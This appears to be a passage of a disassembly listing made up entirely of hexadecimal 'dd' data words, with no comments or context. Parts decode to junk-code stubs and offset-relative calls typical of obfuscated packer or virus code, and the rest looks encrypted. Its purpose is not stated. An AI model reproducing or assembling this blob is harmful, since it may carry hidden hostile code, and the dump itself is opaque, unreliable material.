		dd 556E8F00h, 6E5AA921h, 4F4BC8BAh, 0AB454959h,	87BB662Fh
		dd 66965F11h, 9650D98Bh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 15C35040h, 84B6A87Bh,	14E9DDh, 0E3E30000h
		dd 73F4C9B7h, 0F5E469EAh, 164FE21Ch, 0E874F1E7h, 0B5FF79E1h
		dd 62FB020h, 14E9h, 64521300h, 4A70C56Ah, 0F1C97A96h, 121BD86h
		dd 6FAF6EC9h, 0A995890Eh, 0FF062C1Fh, 2C152995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 6620ADBDh, 0B5FFFE8Bh, 62FB020h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 10C35343h, 1F14ECB7h, 0A2AE6D1Ah
		dd 0DE852h, 0B6200000h,	0DAF3AE8Ch, 724DEA2Fh, 8B871161h
		dd 2C0BAD9Dh, 95FF5F06h, 62C0479h, 1535BD83h, 0F02062Ch
		dd 5784h, 89858B00h, 6A062C01h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 8B67C352h, 0DA57D1D4h
		dd 1501B5FBh, 6A0000C6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 411CC353h, 8982FC27h
		dd 2C15F995h, 0F8BF0F06h, 166185C7h, 62Ch, 0B70F0000h
		dd 0F3BBE9DBh, 0E860FFFFh, 12h,	0B5559A1Eh, 0E64B91BBh
		dd 98090D9Ah, 0C1A589BEh, 8B66D7DFh, 0E9615FC3h, 12h, 3E1C1154h
		dd 46BFBED6h, 0F13B84C4h, 0CAF96060h, 0C18B1E63h, 4B838D8Dh
		dd 0BD290631h, 62C1D2Dh, 2BA58D89h, 0B529062Ch,	62C1D81h
		dd 12D985C7h, 5DC8062Ch, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0B34A27C3h, 0EBDAE7D9h
		dd 0C185C7F3h, 62C29h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 8817C355h
		dd 13E8h, 0EF287C00h, 0E9A8541Eh, 0EC70B744h, 55745CFFh
		dd 0CAF145EFh, 0FF5BFB8Bh, 2C08E1B5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 402654DCh, 860F5810h, 6, 7458589h, 95FF062Ch, 62C15F5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0D8C35242h
		dd 0AF8279EBh, 1C4D958Bh, 6A062Ch, 26B195FFh, 0C08B062Ch
		dd 7D4F7AEBh, 46FF1657h, 0E1D3304h, 68DCE990h, 15749C26h
		dd 213421C6h, 0D7A225DAh, 2D68C943h, 0E065C12Bh, 0CDA93A67h
		dd 67FA3FE0h, 0E9A0DF34h, 8494390Ch, 7ADC938Bh,	0D60656B7h
		dd 8EE11756h, 0F8B072A2h, 75EF85B2h, 8B8131E4h,	0E1205DEh
		dd 0CF07A59Fh, 47F77213h, 0D2AFD96h, 4FE1A619h,	716AF1Fh
		dd 37C39EE6h, 0CF444D8h, 413722DAh, 0D15AFA28h,	8B3CBFDh
		dd 8EB88D80h, 4CAD8D8Dh, 89F80631h, 2C2BA58Dh, 66ADB706h
		dd 18C5F681h, 12D985C7h, 71D8062Ch, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0F1FE8BC3h
		dd 0AC15BA2Dh, 663A5B8Bh, 144EDF81h, 29C185C7h,	62Ch, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0D471C9C3h, 1A65B529h, 0B5FF062Ch, 62C2C81h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 2C35040h, 15F595FFh
		dd 958B062Ch, 62C0139h,	95FF006Ah, 62C26B1h, 4BEBC08Bh
		dd 5846CB9Ah, 1EFA243Ah, 0C983FF79h, 0F2D04A8h,	0D8141773h
		dd 0AC600D7Bh, 0A6004424h, 10A70EEAh, 1CAABD99h, 0FA85CFA9h
		dd 69BC3D95h, 0AEAD4BB6h, 5D2B79E2h, 0DA1E3DEFh, 0A27FA9ECh
		dd 3862A4F9h, 3EAA478Bh, 4AAB5AD4h, 0E866E6DFh,	8, 0C84F5493h
		dd 0C1438F46h, 6ED7C281h, 8A583C57h, 6DC081F0h,	68000075h
		dd 0
		dd 0F8C7E5BFh, 85895B0Dh, 62C2B95h, 660334FFh, 0D9D0DA81h
		dd 48D0F5Eh, 66000000h,	81762ABAh, 0AF542AF6h, 3D9D8956h
		dd 81062C0Ch, 0EE88FFF6h, 81CF8B33h, 36DC0AEEh,	0BE96077h
		dd 12000000h, 0CF60E681h, 60BAD6D2h, 0E3802A53h, 8B56617Fh
		dd 2C1AFD95h, 18048F06h, 8A45CD80h, 9EEB81F5h, 6637EE1Bh
		dd 0C381FA8Bh, 37EE1B9Ah, 81CFB70Fh, 0FF8B4CFBh, 0F850FFFh
		dd 0E9000000h, 21h, 1B023BDFh, 4819370Ah, 0CA8B63D1h, 0FFFF7BE9h
		dd 0A63E6CFFh, 0C003E7C8h, 1421A6D9h, 0E04731F2h, 8E829h
		dd 14F0000h, 290271EFh,	0D7B77494h, 6D9D895Ah, 81062C33h
		dd 6C61C2h, 0CF68100h, 0B840F502h, 5B312DA5h, 3752F081h
		dd 0B9665B31h, 32FFDA81h, 38C0F56h, 0F000000h, 5F5ED9B7h
		dd 10A59589h, 0C781062Ch, 18276BE8h, 245B589h, 0EF81062Ch
		dd 378F9A6Bh, 1E29BD89h, 0EF81062Ch, 5757811Bh,	81503A89h
		dd 0B3EFB2C3h, 0EA835B32h, 5A0BB902h, 4A4A0E4Eh, 0E08EE181h
		dd 0F486F8Eh, 0FFFFAD85h, 858960FFh, 62C11C5h, 8D61D08Bh
		dd 314F378Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0B5660A08h, 4770F80Eh, 2BA58D89h
		dd 0EE8062Ch, 0F9000000h, 0CF2B8381h, 0D0EFFAF7h, 0E00C7A2Bh
		dd 5B86B384h, 12D985C7h, 74AC062Ch, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0FF09CAC3h
		dd 0C185C793h, 62C29h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 1884C351h
		dd 98736201h, 58EE4AF8h, 0B4EA8166h, 0E6816601h, 0B5FF9A46h
		dd 62C2B41h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	7EC35646h, 8A3637E1h, 88509F13h, 9D8950C6h, 62C2DD1h
		dd 0F595FF5Bh, 80062C15h, 6A67E7h, 26B195FFh, 0C08B062Ch
		dd 47BC6AEBh, 0F48AF105h, 297F76BAh, 528905CFh,	0FB828D52h
		dd 0FEFBF5Dh, 0B3588525h, 3E0204E7h, 1070CBFCh,	609F2328h
		dd 4DF9BD0Eh, 0E950667Fh, 7670C19Ch, 699ECC35h,	0B1DF8B10h
		dd 0E42BFAFBh, 0D0C23B9Fh, 2B60A2E4h, 81757AAAh, 0ABC372E7h
		dd 38CC6F5Dh, 6295445h,	12BF2A77h, 11D81A10h, 0E91D0418h
		dd 16DEAAE7h, 98F61F60h, 1DE9h,	1870BD00h, 0Ch,	5 dup(0)
		dd 0AEE90000h, 0D2000004h, 691A6B8Bh, 3B4058Fh,	9E4FA028h
		dd 37E839C5h, 0F684D55Bh, 0DE6440E5h, 7CFEDC8Dh, 199D7A2Bh
		dd 0B1CF17C8h, 0E625B360h, 37F3F590h, 9FDEDCB2h, 90913957h
		dd 2CDD2EB4h, 4054E8E4h, 827E8404h, 31797A22h, 906A6B13h
		dd 0B538806h, 0EEDD95EDh, 0A5EDE2A5h, 0A8853687h, 0E015D324h
		dd 0A5267E04h, 9B9C44C8h, 89933BBDh, 0DBB8A970h, 0D550657h
		dd 0C33C47EFh, 0C731C2F3h, 0FB3D0702h, 0C2F346BCh, 0C0188831h
		dd 56085F45h, 60165Eh, 9FD80000h, 86913957h, 31C2BA32h
		dd 35DD633Fh, 2BD35734h, 61010821h, 371DFCC1h, 0B3656935h
		dd 1F771373h, 55ACBEA4h, 1755Eh, 92370000h, 55FD7F5Dh
		dd 0B28C0D65h, 9A75AA28h, 71982B34h, 5CBCF440h,	93E4C04h
		dd 32BE972Ch, 1FF97AD2h, 13ECED95h, 0A7F0DF87h,	8B15EFE0h
		dd 2341893Ah, 5092E8D2h, 0C2BABD11h, 104FDD31h,	31C2BABAh
		dd 0B40C6CDCh, 29D15733h, 810DE61Bh, 44CEA829h,	0BDFFD19Ch
		dd 0BAC63C7Bh, 980831C2h, 0C2BAA91Dh, 2179E931h, 3814CDCCh
		dd 61A361B2h, 0C2BAAC22h, 267EEE31h, 0C13F5DA5h, 832BAF8Ch
		dd 82833B93h, 5FA11FA7h, 0C2BAAA20h, 6FBA0A31h,	0BE643C62h
		dd 2195D462h, 6131C2DEh, 422091F1h, 99B068C0h, 9F361247h
		dd 0A1913957h, 51A99941h, 2371DFCh, 0CF4AA224h,	5E55EBF9h
		dd 7A90h, 0C39F5200h, 1EC6E42Ch, 2526CE2Eh, 191AC24Ah
		dd 1011B93Bh, 1504AC36h, 0C625CDCCh, 83B89A7Dh,	8B7B23A5h
		dd 50D6B233h, 0EC724EFFh, 0CD6A4344h, 0C1C26AF2h, 0A10161E3h
		dd 5B90E2F9h, 289EDD7Dh, 6A31C2BAh, 0F1F29AFAh,	0D9319113h
		dd 0FCD28584h, 935E564Fh, 7Bh, 1FC39F55h, 0E28A0CEAh, 0BA0377F2h
		dd 0D34331C2h, 0EDCACB73h, 4DF57D58h, 1055FD5Dh, 0B7934C4Bh
		dd 9FF6E031h, 9CDB1DC5h, 31C2BA26h, 97DF868h, 4931C2BAh
		dd 0B9FB79D9h, 0C2BA047Ah, 7ED64631h, 0A583B8C6h, 338B7B23h
		dd 0C2BA57A8h, 2846231h, 0F97B595Ah, 6B2E4751h,	0A7E9E787h
		dd 0C2BA1268h, 0BF411F31h, 5BCB2717h, 0FCEBAE03h, 5E565216h
		dd 0D3573469h, 1517Bh, 9F130000h, 0BCBE3CC4h, 0ABF6A1A6h
		dd 9AD95793h, 31C2E624h, 0E69EF666h, 9FA19DE5h,	90A2BD0Ch
		dd 0D1D27ADAh, 0C2C36B89h, 0AAB45C7Ah, 70EAF691h, 0C49FB057h
		dd 0B1BCBE3Ch, 8C30072Dh, 0B41374CCh, 1857D51Fh, 37EE97AFh
		dd 0D6D77FEFh, 6E1F708Eh, 57ABEA26h, 7737EE27h,	0F429A707h
		dd 8038901Ah, 0EE270375h, 6225EA37h, 19F6256Dh,	9DFDED95h
		dd 35539B4Ch, 26448C8Dh, 0F9973A8h, 9B34FFB7h, 7D9BE3FCh
		dd 0B49B812Ch, 0F1525829h, 40000000h, 4EA6320Bh, 125CF194h
		dd 4D505294h, 0F5A5CBE2h, 5EE79D1h, 3537EE1Fh, 0D41C1DC5h
		dd 6CB465B6h, 5DA5A64Eh, 33CC973Fh, 5B396E54h, 78B68D9h
		dd 0B7E62EAFh, 0BFAF57D9h, 64ACE15Fh, 0E28DEE46h, 58296BFCh
		dd 41B3h, 5DF17500h, 0C0569513h, 42B1C2BAh, 1A1C2AD2h
		dd 0CA128FEAh, 4DD830ACh, 0B1C2C1F9h, 4823582Ah, 741368C0h
		dd 0E2BE19ADh, 3C7EFC5Ch, 4757F53Ah, 7ED629AAh,	0C284BFF3h
		dd 1E6FDF31h, 670Fh, 5CF12100h,	60559412h, 7E37EECAh, 726FCA7Ch
		dd 2E861064h, 0AB0974C2h, 8489684Fh, 337B7C24h,	0F8A02A04h
		dd 0A657A808h, 8D98405Eh, 37EEFD3Eh, 88594005h,	72D12240h
		dd 0E579B5DDh, 1E9A00C3h, 0CA08670Ah, 3090C66Ah, 986473B2h
		dd 179831D8h, 0AA52B23Eh, 9B4361A9h, 12917891h,	76B5337Dh
		dd 3BA9E87Bh, 0F0DA2B9Bh, 94125CF1h, 0B9431D52h, 3EC92111h
		dd 37F40AB3h, 4A4BF363h, 0E293E402h, 0C9D47C9Ah, 3DDA8E94h
		dd 0E0BAEF71h, 0EEA9FE56h, 3A8BA9F1h, 0E1FF477Ch, 70F14939h
		dd 61620A28h, 4A54FC88h, 31795631h, 0C911C213h,	0DA403ABh
		dd 0E2000000h, 613CCFADh, 0E14131D9h, 0BDF7CF89h, 9038589Fh
		dd 8129478Fh, 771FA380h, 6E169876h, 630B916Dh, 58008662h
		dd 4AF27E57h, 3EE66E49h, 31D9633Dh, 63BB6815h, 4890000h
		dd 7CD26824h, 4890000h,	5FD66824h, 2C890000h, 82BA5224h
		dd 557F8771h, 7E34D0BDh, 0F59FB86Ch, 0E831E9C6h, 5AD0295Dh
		dd 242C8B54h, 6804C483h, 2C14h,	8F240489h, 2C8B0845h, 0E0895024h
		dd 405h, 40500h, 4870000h, 34FF5C24h, 0C4815824h, 4, 0FB2835E9h
		dd 0C9DB11FFh, 5413B8B0h, 0C5030631h, 0B295E0FFh, 0A57D4964h
		dd 45D50498h, 178F0522h, 0DE580546h, 0A8826CE2h, 4171AF73h
		dd 7D7B3270h, 6D7525BBh, 1F68C613h, 417D6FF4h, 4188472Fh
		dd 19E5AF7Fh, 56BF7BCh,	5F0AB5Bh, 41AFAB5Bh, 111CAF7Fh
		dd 2D385DBCh, 8696C9E4h, 0F6844BDBh, 24782C85h,	41E48362h
		dd 0FCF2A60Ah, 47948CA6h, 1145DB7Fh, 0F9EE242Ch, 4117AB7Ch
		dd 471A2AF6h, 0DC48A953h, 47CC1E13h, 192A7C80h,	626112FCh
		dd 355CA953h, 0F97DFF68h, 4117AB7Ch, 471A2AF6h,	0DC48A953h
		dd 47CC0124h, 192A7C80h, 0A9E9AF15h, 415CAF7Ch,	18EDF65Fh
		dd 4533E3F6h, 45AFEBFEh, 41C5AF65h, 0EF21FE3Eh,	0CB97336h
		dd 4F51B5A7h, 8F5CAF7Fh, 0F98DCABDh, 22A7D2Bh, 0F2DD05D0h
		dd 0EF7CC95Ah, 7477A41Ah, 0CA778370h, 11B8C5BFh, 415CAC97h
		dd 82768F7Fh, 65532627h, 65CF2E7Bh, 41C5B37Bh, 82B2EF7Fh
		dd 2CC3BF45h, 0D3549A69h, 414C4681h, 0D926AF7Fh, 3594D308h
		dd 55EFFDDh, 0C55A08ECh, 490AFACBh, 0F71AF7Fh, 3D0479Ah
		dd 0B94CC5DEh, 99A2C926h, 0A941AF15h, 418BAF7Ch, 1F06F15Fh
		dd 45C6DBF6h, 4555EBFEh, 41B8AF66h, 0D69FF939h,	2B7D0FD6h
		dd 0C00C1D05h, 186EC2A0h, 4EC10771h, 41E19FFBh,	60C4A67Fh
		dd 0C2BE837Ah, 6D705EC2h, 0C521AF79h, 4117AF52h, 686675FFh
		dd 6DCD1EEAh, 42ED4679h, 411BAF7Fh, 41BB472Fh, 197CAF7Fh
		dd 5A7F7BCh, 596AB5Bh, 419EAB5Bh, 1185AF7Fh, 0F43F3DBCh
		dd 66711116h, 0C7B7AD7Fh, 415CAF79h, 5DF71256h,	0C49AA953h
		dd 47A4D605h, 41C32A70h, 0DC69AF7Fh, 475DBA0Ah,	41D27F80h
		dd 415F472Ch, 1A0EAF7Fh, 1D9EF4BCh, 50AAB5Bh, 41D3AB5Bh
		dd 12A1AF7Fh, 0F8494FBCh, 0C5B76FFAh, 415CAFD3h, 61032AF6h
		dd 7996A953h, 0BA0AC928h, 41F92A70h, 4188AF7Fh,	4172472Eh
		dd 1898AF7Fh, 0DD5F6BCh, 5AFAB5Bh, 4101AB5Bh, 10CAAF7Fh
		dd 0D18509BCh, 4E1B64FFh, 4171ACFDh, 880FA07Fh,	45242E19h
		dd 0C521AD7Dh, 4117ADF3h, 447A225Ch, 0C0A3A953h, 4E823347h
		dd 4171FCFAh, 920FA07Fh, 0A95ED7FFh, 41682A70h,	0DC3EAF7Fh
		dd 47A7BF06h, 47BD2E19h, 0C4ED047Fh, 4171AF4Bh,	439D1A4Eh
		dd 10B5A953h, 2B2EAF7Dh, 42FFFF7Fh, 618BAF7Fh, 0C89D6C27h
		dd 0C0E68B3Bh, 58758B3Bh, 1B8AF7Fh, 0FFC26C2Fh,	0F43795C8h
		dd 0DC9C60F4h, 47A7B4CAh, 40C4AFC1h, 17E2C539h,	4171AC97h
		dd 82E68F7Fh, 65282621h, 656A2E7Bh, 4117B77Bh, 82DDE97Fh
		dd 0D5B855E2h, 3B672207h, 0BE778006h, 0A339CFAFh, 50BFECF3h
		dd 0E6871419h, 4ED72A1Eh, 418A17FBh, 41C9467Fh,	1A59AF7Fh
		dd 43B129F5h, 0B869B1DDh, 79DD6DD6h, 432C9219h,	410C2A70h
		dd 0B900AF7Fh, 27C3D7FEh, 4E98F042h, 417014FBh,	0CE722E7Fh
		dd 0CA7B8D21h, 6D3D46EAh, 7996C979h, 0C484CFE3h, 41C5AFF9h
		dd 0A9B3AF15h, 4171AF7Ch, 187BF65Fh, 4578E3F6h,	450AEBFEh
		dd 4117AF6Ah, 0F048FE3Eh, 43BD2F1Ah, 1E67A097h,	2B71AF7Fh
		dd 4250FC7Fh, 615CAF7Fh
		dd 0C8756C24h, 0C0138B23h, 588F8B3Bh, 2C5AF7Fh,	63A46C2Ch
		dd 92353A14h, 0C0DE70F4h, 815CA907h, 411E2A70h,	417DAF7Fh
		dd 4188472Dh, 1BE5AF7Fh, 156BF5BCh, 5F0AB5Bh, 41A2AB5Bh
		dd 131EAF7Fh, 0C2860BCh, 214F1329h, 317C2E19h, 40E74625h
		dd 0FA84AF7Fh, 41CF51AFh, 0C0C6AE7Eh, 7601D28Dh, 3BAB2259h
		dd 0A8118006h, 418BAF7Ah, 368498h, 0BE3325B3h, 0FCFACFAFh
		dd 4794B2BAh, 0F9B764C5h, 53C7CE78h, 3117AF7Fh,	0D938F49Dh
		dd 4B092E47h, 547FEE4Dh, 16EFBD0Ah, 4E782AFEh, 415C0BFBh
		dd 78A3247Fh, 0C111835Dh, 0C4844747h, 41C5AF5Eh, 611732F4h
		dd 39F1A953h, 0C4B7DC7Ah, 415CAF6Eh, 5545D0C5h,	466F2F54h
		dd 0E40FA02Ch, 0F3C5AF7Fh, 7963C9A6h, 0C47EAAF0h, 41B8AF16h
		dd 0A90DAF15h, 412EAF7Ch, 18D4F65Fh, 45AFE3F6h,	45E1EBFEh
		dd 41E2AF67h, 92B2FE3Eh, 0A66E26DEh, 295AD7FFh,	41112A70h
		dd 0CA71AF7Fh, 390AC984h, 4EE05074h, 41E29FFAh,	1171C57Fh
		dd 41B8AC97h, 82048F7Fh, 656A2627h, 65532E7Bh, 418BB77Bh
		dd 8295EF7Fh, 2D929834h, 414B4652h, 4751AF7Fh, 5C5CAF7Fh
		dd 0EF8D1CABh, 0C8D78447h, 6D81BAC2h, 41804679h, 4188AF7Fh
		dd 4172472Fh, 1998AF7Fh, 5D5F7BCh, 5AFAB5Bh, 4102AB5Bh
		dd 11CBAF7Fh, 2748A9BCh, 4CB78FEh, 4171AEC7h, 17B8C57Fh
		dd 415CAC97h, 82708F7Fh, 65632621h, 65CF2E7Bh, 41C5B97Bh
		dd 82B4E97Fh, 0D12FACFAh, 21E8F62Ch, 415CA896h,	0F8E1027Fh
		dd 5C9B34C9h, 0DC3C1519h, 41AF3F1Eh, 41E1472Ah,	1C51AF7Fh
		dd 2D31F2BCh, 5DDAB5Bh,	4138AB5Bh, 1452AF7Fh, 72DEFFBCh
		dd 4450248Ah, 0CCE4837Eh, 702537C2h, 0F4352279h, 0F95A9E26h
		dd 3648FA5Ch, 724A2A7Ch, 8EA0A953h, 41CF46BEh, 0C0C6AE7Eh
		dd 7601D28Dh, 3BAB2259h, 0A8118006h, 418BAF7Ah,	83368498h
		dd 0A4F305E9h, 57006A58h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 2CF9004h, 1298BDE7h, 0D2804923h
		dd 91BD2B46h, 0F062C15h, 682h, 75958B00h, 0B062C1Ah, 63840FC0h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 10B4C351h, 4F51B58Dh, 8509062Ch
		dd 62C1439h, 3B8h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 474BC085h, 5BD2360h, 8B062C23h
		dd 2C197D85h, 0E6FF6106h, 261D8D8Bh, 6A40062Ch,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 595FC350h, 4D80C8B9h, 0D7BAC520h, 802E82EDh,	0C08B04CFh
		dd 13318589h, 0BD83062Ch, 62C1D65h, 83097500h, 2C23D9BDh
		dd 19740006h, 0C08B5350h, 403B8h, 3D858900h, 8D062C34h
		dd 2EB1D39Dh, 5BD3FF06h, 0D9BD8358h, 62C23h, 53501774h
		dd 403B8h, 3D858900h, 8D062C34h, 2EAE749Dh, 5BD3FF06h
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8B92731Ch, 2C31558Dh, 0EAB96606h, 9C08BE1h
		dd 2C04C985h, 8D8D6106h, 6315BDBh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0EAC35040h,	2BA58D89h, 0EE9062Ch
		dd 0EA000000h, 2E8A1347h, 0FAFC3FD2h, 852CB086h, 0D985C7B9h
		dd 8062C12h, 5200006Eh,	0C185C75Fh, 62C29h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0C317C351h, 3148F9FEh, 8B7172BDh,	2C11F5BDh
		dd 0A5958B06h, 0FF062C10h, 2C08E1B5h, 81D28106h, 60216DC7h
		dd 9E8h, 24248C00h, 6B6C06BCh, 0C68ACA6Fh, 1D9D8B5Eh, 61062C1Dh
		dd 15F595FFh, 6A062Ch, 26B195FFh, 0C08B062Ch, 0ABA47AEBh
		dd 98D741ACh, 0AACCA14Ch, 0BF8502F5h, 6642F787h, 0F9DDFAFDh
		dd 0B630F22Dh, 0B5B4249Ch, 0B0DA0A84h, 75EDE810h, 58AA11DAh
		dd 0CFE49B8Eh, 0DDC06716h, 0C513F8F7h, 0F24CB34Fh, 0CE3FD4F9h
		dd 0F9CB93A8h, 0F8C5A2D3h, 665B07F1h, 0BFFE91A4h, 7768E386h
		dd 0E0A20CCh, 30D41C87h, 13DFDD18h, 264B5182h, 0B6FEF64Dh
		dd 0DEEAD682h, 373D1ED6h, 36307222h, 1D3064Dh, 0C3F75E8Bh
		dd 9E8h, 6D272800h, 5D56EC79h, 8D09286Ch, 62C1A25h, 7E958h
		dd 0B0C60000h, 25963FECh, 64C08196h, 0B900006Eh, 3A8BABE1h
		dd 906DE981h, 8BF93A8Bh, 26C38118h, 295FA099h, 2C1A25B5h
		dd 16F38106h, 8B0328FDh, 2C008DB5h, 78EB8106h, 0F0AFAC3h
		dd 384h, 0D18B6600h, 199D2953h,	8F062C29h, 4E88300h, 25E1BD89h
		dd 0E983062Ch, 1A850F01h, 8B000000h, 2C07DDBDh,	1BE906h
		dd 28720000h, 5ACF78F5h, 8A042F94h, 0A3374469h,	0FF9DE9D2h
		dd 3512FFFFh, 72F01BC0h, 0B93920E6h, 0A1E3FD4h,	66EA9C67h
		dd 0FDA5F01h, 2C320401h, 856DC15Eh, 8D36257Dh, 1A36A445h
		dd 4B324001h, 0D632E356h, 85CC9B3Fh, 202D718Ch,	336AC07h
		dd 0C303385h, 5E326B01h, 0C3283E9h, 0CF686001h,	2866A95Bh
		dd 28769105h, 0C321305h, 0CF604601h, 0CB60BEF1h, 0F525FFB8h
		dd 289F3D2Ah, 0B1B1462Dh, 0A1E0CF0h, 3BB61F01h,	66320801h
		dd 0FDA5601h, 2C320201h, 8568C25Bh, 8D36A455h, 16366445h
		dd 4E322001h, 3342D353h, 0E2BD334Bh, 0EFB3620Ah, 823D12D1h
		dd 0C320100h, 0DFA69F8h, 0B2544001h, 0E5A29CE2h, 0C321012h
		dd 0D3D707AEh, 0D2DA8F2Ah, 73432045h, 5F6C4EBBh, 5CBE7389h
		dd 40334F91h, 0C58DE25h, 0C31F852h, 57120801h, 50BB5FC2h
		dd 48B30625h, 0C2E0525h, 5F718001h, 0EF06DBC2h,	0A8593317h
		dd 0B9BBA2C5h, 0A1E2C48h, 5C326E59h, 0C3201E9h,	0CF6A2101h
		dd 28760959h, 2876C105h, 0C323A05h, 0CF625001h,	1858C53Ah
		dd 3D1DB2Ch, 0CCB1D3B6h, 5F326B2Dh, 0C3283E9h, 0CF696001h
		dd 286EA95Ah, 28769105h, 0C321505h, 0CF614701h,	814DF8E6h
		dd 16837DCCh, 91B9ECCEh, 0A1E4850h, 0B0E8EA80h,	4B931D8h
		dd 28EFBD32h, 8754022Dh, 0B903FE49h, 0A1E1198h,	3A0B0167h
		dd 0B4B64FFEh, 3322001h, 0C320681h, 0C23E101h, 0A5030401h
		dd 7CB931CBh, 11CDB251h, 76F3C6E3h, 8F9DC0DBh, 0C5829C0h
		dd 0C31F856h, 53120801h, 70BB5BC2h, 48B30625h, 0C290525h
		dd 5B758001h, 59BCEAC2h, 0E783CFC0h, 0E50B9081h, 0C8A8D0Eh
		dd 0B1B90401h, 0A1E0CF4h, 0B9EA8061h, 5E7E54FEh, 6D6A1E57h
		dd 0E533618Ah, 0C321007h, 3289B426h, 0C4312DFAh, 0E463026Bh
		dd 0C320102h, 55F1D921h, 8160C88h, 8166480h, 0C321018h
		dd 0F8F15940h, 89F56A90h, 8BE0DA3h, 6A320101h, 8FFDB1BAh
		dd 0EA8D45C0h, 8740FC35h, 202775BCh, 9C0B8907h,	3B9474Ah
		dd 0C325384h, 65AF8A01h, 8134AC21h, 207D118Ch, 7DB7A907h
		dd 0B4343C12h, 0C320802h, 0E464046Bh, 0C320202h, 52F15F21h
		dd 816F488h, 8160480h, 0C322017h, 30F14647h, 910188F2h
		dd 0A1E2FF4h, 0A0B9788h, 0EDCD072Dh, 0C340C0Eh,	0B9114001h
		dd 0A1E2530h, 6653E08Ah, 0FDA5F01h, 2C320401h, 856DC15Eh
		dd 8D36257Dh, 1136A445h, 4B324001h, 1496E356h, 2E3DC620h
		dd 5FE3D0DBh, 0B1BFDCB2h, 0A035EF6h, 53968C8Ch,	788A8630h
		dd 3F33D282h, 201E4984h, 0CDFD3B07h, 0B93920E8h, 0A1E3FD4h
		dd 66EA9C67h, 0FDA5F01h, 2C320401h, 856DC15Eh, 0E983257Dh
		dd 8BA4F305h, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 8FB3E071h, 0FC498E56h, 0FD78B66h, 681h, 61950300h, 8B062C2Bh
		dd 712ADEC3h, 4B46D4D4h, 557F01DCh, 525CD4C8h, 0B336398h
		dd 2633A9A9h, 265AF198h, 79EEF5Eh, 4E6033B4h, 0A5E4FFB4h
		dd 210EF867h, 0A3BEA0B4h, 201CD594h, 0A3BA7967h, 201FC7A5h
		dd 0F92D71Bh, 293333B4h, 2633831Dh, 21B6C098h, 763597F8h
		dd 79CAD615h, 0D963AFA9h, 0A20E90Dh, 2664839Eh,	23593598h
		dd 463A1F15h, 0AB634BA9h, 176C5F1Dh, 0B3CC039Eh, 201FAF81h
		dd 0A23C1493h, 26336AA1h, 463AB015h, 0CE639CA9h, 26334DAAh
		dd 0A3BEF6D8h, 20023397h, 2FB624C8h, 7635E5F8h,	303AFF67h
		dd 0E2B033B4h, 2FB61794h, 76357CF8h, 79CA2315h,	0D96355A9h
		dd 0A20940Dh, 26513D9Eh, 0AD666A98h, 74646474h,	2E4E11CEh
		dd 24DA8DABh, 6633A698h, 260CD3DFh, 0D9C62C97h,	0EF002B67h
		dd 0CF3B1713h, 263335B2h, 31B948ABh, 0AD03A718h, 0AD63E868h
		dd 2C88005Ah, 0CF33A998h, 2633D49Bh, 0A57D896Fh, 0A13C3566h
		dd 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h, 0E7B85667h
		dd 7F6C8EC6h, 2637A851h, 79C48815h, 0ABBE9CA9h,	20022CB4h
		dd 9320h, 0E7FC7800h, 7310271h,	0C783C8D0h, 850F4904h
		dd 0FFFFFFF2h, 612CB58Dh, 8D8D0631h, 631614Bh, 0E983CF2Bh
		dd 8DC88B05h, 31620A8Dh, 0A58D8906h, 6A062C2Bh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 6AFCC351h, 0BD8997ADh, 62C1B61h, 12D985C7h, 6D50062Ch
		dd 0B58B0000h, 62C1FB9h, 29C185C7h, 62Ch, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0FD4069C3h, 0CE87724h, 0E7000000h, 0BB54DF48h, 8211E256h
		dd 89089557h, 2C1A419Dh, 0BF665E06h, 0B5FF034Bh, 62C3101h
		dd 0FFC68B66h, 2C15F595h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0D577E76Ch
		dd 0FF006AD1h, 2C26B195h, 0EBC08B06h, 1DBF5B5Eh, 44CA1022h
		dd 627C48DEh, 70DB12A0h, 34796580h, 893C76F9h, 33F1AC7Bh
		dd 0B9C5ED78h, 0E83AC46Ch, 3C98E737h, 209FE34Bh, 5AFFFA67h
